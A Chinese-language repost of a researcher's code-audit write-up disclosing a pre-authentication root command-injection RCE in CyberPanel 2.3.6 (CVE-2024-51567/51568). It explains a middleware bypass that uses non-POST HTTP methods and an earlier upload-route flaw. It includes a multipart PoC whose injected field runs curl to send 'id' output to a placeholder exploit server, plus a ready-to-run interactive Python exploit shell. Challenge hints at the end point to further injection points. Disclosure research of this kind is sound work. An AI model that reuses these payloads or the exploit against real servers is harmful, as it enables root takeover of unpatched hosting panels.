0day 代码审计 CyberPanel v2.3.6 RCE

admin 2024年11月8日11:21:34评论7 views字数 9835阅读32分47秒阅读模式

几个月前,我被指派对运行 Cyber Panel 的目标进行渗透测试。它似乎是由一些VPS提供商默认安装的,而且它也是由Freshworks赞助的。

由于功能非常有限,我对如何 pwn 目标一无所知,所以我换个想,让我们找一个 0day ̄_(ツ)_/ ̄ 吧。

这会导致在最新版本(目前为 2.3.6)上实现 0 次点击预身份验证根 RCE它目前仍处于“未修补”状态,例如,维护者已经收到通知,补丁已经完成,但仍在等待CVE和修复程序以使其进入主要版本。 截至 10 月 30 日的更新,已分配两个 CVE:

  • CVE-2024-51567漏洞

  • CVE-2024-51568漏洞

以及维护者的安全公告。

.您可以在 https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515 中找到补丁提交。

我还对漏洞赏金计划进行了大规模扫描,一些主机受到影响 - 感谢 iustin 的帮助!

我觉得这篇文章还记录了我在审核各种项目时的心智模型,所以如果你是一个具有创造性思维的初学者,希望开始进行代码审查,我绝对推荐你阅读这篇博客。

代码库结构:

它实际上是一个非常简单的 Django 网络应用程序。它的实际目的是在 VPS 上设置各种系统服务(如 FTP、SSH、SMTP、IMAP 等)。

当登陆主页时,我们只会看到一个登录功能,所以看起来我们没有太多可玩的 :/

0day 代码审计 CyberPanel v2.3.6 RCE

好吧,无论如何,这只是冰山的顶端。

与任何 Django 项目一样,在检查实际项目之前,我们应该始终查看框架的工作原理,模式是这样的:

  • X/urls.py-> 此文件将包含功能 X 的所有 API 路由。

  • X/views.py-> 此文件将包含功能 X 的路由映射到的所有 Controller。

  • X/views- > 动态生成页面 HTML 的模板。

  • X/static-> static files 和其他 bs.…

由于它们通常包含身份验证等逻辑,因此这是我自然而然地开始检查的第一件事,我立即看到的是他们正在逐个对每条路由应用身份验证检查。

我的第一个问题是 - 为什么?你会期望有人使用 auth middleware 或其他任何东西,而不必自己在每个路由上都嗡嗡作响地编写 auth 检查。

紧接着我想到的下一个想法是:“伙计,如果我要编写这样的代码,我肯定会错过在几条路由上检查 auth”——是的,这正是这里发生的事情:)

代码库洞察的 N 天分析:

通常,当我试图更熟悉一个目标时,我总是阅读以前错误的文章/漏洞/文档,这对了解目标有很大帮助。

我在 2.3.5 中注意到以下安全版本 - https://cyberpanel.net/blog/cyberpanel-v2-3-5

文件管理器上传功能中的身份验证绕过:文件管理器上传功能中由人为错误引起的漏洞已在版本 2.3.5 中得到纠正。

  • caused by human error..呵呵,这并不让我感到惊讶。

因此,它确实给了我一个想法,开始分析这个补丁以获取有关代码库的更多内部信息。

让我们看一下 https://github.com/usmannasir/cyberpanel/blob/fe3fa850e81db69479e62b5f5bcb7b83ae3488e1/filemanager/views.py 补丁之前的提交:filemanager/views.py

def upload(request):
try:

data = request.POST

try:

userID = request.session['userID']
admin = Administrator.objects.get(pk=userID)
currentACL = ACLManager.loadedACL(userID)

if ACLManager.checkOwnership(data['domainName'], admin, currentACL) == 1:
pass
else:
return ACLManager.loadErrorJson()
except:
pass

fm = FM(request, data)
return fm.upload()

except KeyError:
return redirect(loadLoginPage)

如果您仔细观察,在到达之前,我们需要绕过两个“检查”:fm.upload()

  1. userID = request.session['userID']

  2. admin = Administrator.objects.get(pk=userID)

第一次检查从 Django 的内部对象获取 our。第二个是调用 Django 的 ORM 来获取信息,无论我们是否是管理员。userIdsession

嗯,令我惊讶的是,这两个实际上都抛出了一个异常,第一个试图访问一个不存在的键,而这只是默认的 Django ORM 行为:object.get()

如果没有与查询匹配的结果,get() 将引发 DoesNotExist 异常。

哎呀,我们需要一个 un-auth 错误,所以我们几乎会两者都失败 - 但是代码有一个明显的逻辑问题,因为它在 try/except 之外,并且无论 LOL 都有效。找到这个的人有一副好眼镜!fm.upload()

我们来看看方法:upload()

 def upload(self):
try:

finalData = {}
finalData['uploadStatus'] = 1
finalData['answer'] = 'File transfer completed.'

ACLManager.CreateSecureDir()
UploadPath = '/usr/local/CyberCP/tmp/'

## Random file name

RanddomFileName = str(randint(1000, 9999))

myfile = self.request.FILES['file']
fs = FileSystemStorage()

try:
filename = fs.save(RanddomFileName, myfile)
finalData['fileName'] = fs.url(filename)
except BaseException as msg:
logging.writeToFile('%s. [375:upload]' % (str(msg)))



domainName = self.data['domainName']
try:
pathCheck = '/home/%s' % (self.data['domainName'])
website = Websites.objects.get(domain=domainName)

command = 'ls -la %s' % (self.data['completePath'])
result = ProcessUtilities.outputExecutioner(command, website.externalApp)
#
if result.find('->') > -1:
return self.ajaxPre(0, "Symlink attack.")

if ACLManager.commandInjectionCheck(self.data['completePath'] + '/' + myfile.name) == 1:
return self.ajaxPre(0, 'Not allowed to move in this path, please choose location inside home!')

if (self.data['completePath'] + '/' + myfile.name).find(pathCheck) == -1 or (
(self.data['completePath'] + '/' + myfile.name)).find('..') > -1:
return self.ajaxPre(0, 'Not allowed to move in this path, please choose location inside home!')

... irrelevant code ...

嗯,嗯,我们现在似乎正在使用 subprocess 来读取文件!我想这对我们来说是件好事,以后要记下来!

此时你可以猜到错误,它是一个通过 sink 的简单命令注入。completePathProcessUtilities.outputExecutioner()

  • 注意: 不可能 (afaik) 执行此漏洞,因为我们的 ORM 检查将如前所述失败。domainName

我还做了一个快速的 PoC,我不知道这是否是该错误的新变体,因为 RCE 没有在任何地方提及,但我想相同的补丁修复了它:

POST /filemanager/upload HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----NewBoundary123456789
Cookie: csrftoken=<CSRF-TOKEN>
X-Csrftoken: <CSRF-TOKEN>
Content-Length: 494
Referer: https://<target>:8090/

------NewBoundary123456789
Content-Disposition: form-data; name="domainName"

<target>
------NewBoundary123456789
Content-Disposition: form-data; name="completePath"

; curl -X POST https://<exploit-server> -d "pwn=$(id)"
------NewBoundary123456789
Content-Disposition: form-data; name="file"; filename="poc.txt"

pwn
------NewBoundary123456789--

无论如何,让我们对我们目前所拥有的知识做一个 TLDR:

  • 身份验证检查是通过 Django 的 ORM 完成每个 API 路由的。request.session['userID']

  • 他们喜欢通过管道将事情传递给子流程。

  • 他们喜欢把事情的秩序搞得乱七八糟。

  • 他们喜欢忘记东西。

  • 仅供参考:许多端点只允许您通过将 userID=1 传递给控制器来取消身份验证地与它们交互。希望这能给人们一个提示,如果他们想找到更多的 bug 0day 代码审计 CyberPanel v2.3.6 RCE

查找 0day:

  • 此时,我使用 Semgrep 挑选出可能有趣的代码片段,其中一段立即弹出:

def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)

if installStatus.find("[200]") > -1:

command = 'sudo rm -f ' + statusfile
ProcessUtilities.executioner(command)

final_json = json.dumps({
'error_message': "None",
'requestStatus': installStatus,
'abort': 1,
'installed': 1,
})
return HttpResponse(final_json)
elif installStatus.find("[404]") > -1:
command = 'sudo rm -f ' + statusfile
ProcessUtilities.executioner(command)
final_json = json.dumps({
'abort': 1,
'installed': 0,
'error_message': "None",
'requestStatus': installStatus,
})
return HttpResponse(final_json)

else:
final_json = json.dumps({
'abort': 0,
'error_message': "None",
'requestStatus': installStatus,
})
return HttpResponse(final_json)
except KeyError:
return redirect(loadLoginPage)

什么?这个就是没有身份验证检查,而且它是在最近的提交中添加的吗?一定是有人错过了它,否则就不会那么容易了。

让我们尝试为此触发 PoC:

0day 代码审计 CyberPanel v2.3.6 RCE

哼。。从什么时候开始有恶意字符的过滤器?好吧,他们实际上确实考虑过实现一个中间件,一个也称为 :O 的安全中间件。secMiddleware

绕过 secMiddleware:

代码有点长,因此我将附上一个缩短的版本:

class secMiddleware:
HIGH = 0
LOW = 1

def get_client_ip(request):
ip = request.META.get('HTTP_CF_CONNECTING_IP')
if ip is None:
ip = request.META.get('REMOTE_ADDR')
return ip

def __init__(self, get_response):
self.get_response = get_response

...
if request.method == 'POST':
try:

# logging.writeToFile(request.body)
data = json.loads(request.body)
for key, value in data.items():
if request.path.find('gitNotify') > -1:
break
if type(value) == str or type(value) == bytes:
pass
elif type(value) == list:
for items in value:
if items.find('- -') > -1 or items.find('n') > -1 or items.find(';') > -1 or items.find(
'&&') > -1 or items.find('|') > -1 or items.find('...') > -1
or items.find("`") > -1 or items.find("$") > -1 or items.find(
"(") > -1 or items.find(")") > -1
or items.find("'") > -1 or items.find("[") > -1 or items.find(
"]") > -1 or items.find("{") > -1 or items.find("}") > -1
or items.find(":") > -1 or items.find("<") > -1 or items.find(
">") > -1 or items.find("&") > -1:
logging.writeToFile(request.body)
final_dic = {
'error_message': "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : ‘ < >.",
"errorMessage": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : ‘ < >."}
final_json = json.dumps(final_dic)
return HttpResponse(final_json)
else:
continue

...

response = self.get_response(request)

response['X-XSS-Protection'] = "1; mode=block"
response['X-Frame-Options'] = "sameorigin"
response['Content-Security-Policy'] = "script-src 'self' https://www.jsdelivr.com"
response['Content-Security-Policy'] = "connect-src *;"
response[
'Content-Security-Policy'] = "font-src 'self''unsafe-inline' https://www.jsdelivr.com https://fonts.lug.ustc.edu.cn"
response[
'Content-Security-Policy'] = "style-src 'self''unsafe-inline' https://fonts.lug.ustc.edu.cn https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net"
# response['Content-Security-Policy'] = "default-src 'self' cyberpanel.cloud *.cyberpanel.cloud"
response['X-Content-Type-Options'] = "nosniff"
response['Referrer-Policy'] = "same-origin"
return response

此时,我开始模糊测试各种字符 + 技巧,这些角色 + 技巧将允许我通过此端点偷偷输入另一个命令,但无济于事。

所以和我们的 n 日一样,我开始合乎逻辑地接近这个问题,在那里我找到了一个有趣的旁路,它只需要一点点创造力,而不需要关于疯狂的 linux 恶作剧的实际知识,而这些恶作剧可以在这里帮助你。

如果你看一下中间件,它只在请求方法为 POST 时执行命令注入检查,但是,如果你看一下我们的路由,POST 数据是通过 .upgrademysqlstatus()json.loads(request.body)

如果我们查看 Django 中该属性的文档,我们可以看到以下内容:body

原始 HTTP 请求正文(以字节字符串表示)。这对于以不同于传统 HTML 表单的方式处理数据非常有用:二进制图像、XML 有效负载等。要处理常规表单数据,请使用 HttpRequest.POST。

您能注意到这里的差异吗?无论所讨论的 HTTP 方法/动词如何,都将发送正文。

这意味着,我们可以只执行 // 等作为 HTTP 方法,并完全绕过安全中间件,哈哈?OPTIONSPUTPATCH

是的。。。我们可以:

0day 代码审计 CyberPanel v2.3.6 RCE

具有 root 权限的轻松预身份验证 RCE :D(考虑到这个项目用于管理系统上的所有服务,这是有道理的)。

利用:

我为 “0day” 编写了一个快速的交互式漏洞,您可以使用、享受!

import httpx 
import sys

def get_CSRF_token(client):
resp = client.get("/")

return resp.cookies['csrftoken']

def pwn(client, CSRF_token, cmd):
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type":"application/json",
"Referer": str(client.base_url)
}

payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)

return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]

def exploit(client, cmd):
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)

if __name__ == "__main__":
target = sys.argv[1]

client = httpx.Client(base_url=target, verify=False)
while True:
cmd = input("$> ")

exploit(client, cmd)

0day 代码审计 CyberPanel v2.3.6 RCE

您也可以在我的 Github 上获取文件。

挑战:

希望您阅读这篇文章:)玩得开心

既然你已经走了这么远,我给你一个挑战,甚至在这里找到你自己的 bug:

  1. 我的朋友发现了这个确切错误的另一个变体,你能做到吗?(可解决)

  2. 如果你想找到另一个 0day,请查看 restoreStatus 路由:

    def restoreStatus(self, data=None):
    try:
    backupFile = data['backupFile'].strip(".tar.gz")

    path = os.path.join("/home", "backup", data['backupFile'])

    if os.path.exists(path):
    path = os.path.join("/home", "backup", backupFile)
    elif os.path.exists(data['backupFile']):
    path = data['backupFile'].strip(".tar.gz")
    else:
    dir = data['dir']
    path = "/home/backup/transfer-" + str(dir) + "/" + backupFile

    if os.path.exists(path):
    try:
    execPath = "sudo cat " + path + "/status"
    status = ProcessUtilities.outputExecutioner(execPath)

    这似乎是另一种简单的命令注入情况 - 这里的问题是 os.path.exists 需要返回 True,而路径仍会以某种方式包含命令注入有效负载。我们可能需要一个任意的文件创建小工具。(是的,我知道 Python 中的 os.path.join 技巧,不,它在这里没有帮助。

  3. backupStatus 中似乎也有类似的情况:

    def backupStatus(self, userID=None, data=None):
    try:
    backupDomain = data['websiteToBeBacked']
    status = os.path.join("/home", backupDomain, "backup/status")
    backupFileNamePath = os.path.join("/home", backupDomain, "backup/backupFileName")
    pid = os.path.join("/home", backupDomain, "backup/pid")

    domain = Websites.objects.get(domain=backupDomain)

    ## read file name
    try:
    command = "sudo cat " + backupFileNamePath
    fileName = ProcessUtilities.outputExecutioner(command, domain.externalApp)
    if fileName.find('No such file or directory') > -1:
    final_json = json.dumps({'backupStatus': 0, 'error_message': "None", "status": 0, "abort": 0})
    return HttpResponse(final_json)
    except:

    不过这里唯一的问题是,如果 backupDomain 不存在,我们会得到 ORM 异常。再次需要网站/文件名创建错误。

祝你好运!

原文始发于微信公众号(实战安全研究):0day 代码审计 CyberPanel v2.3.6 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月8日11:21:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   0day 代码审计 CyberPanel v2.3.6 RCEhttps://cn-sec.com/archives/3372321.html

发表评论

匿名网友 填写信息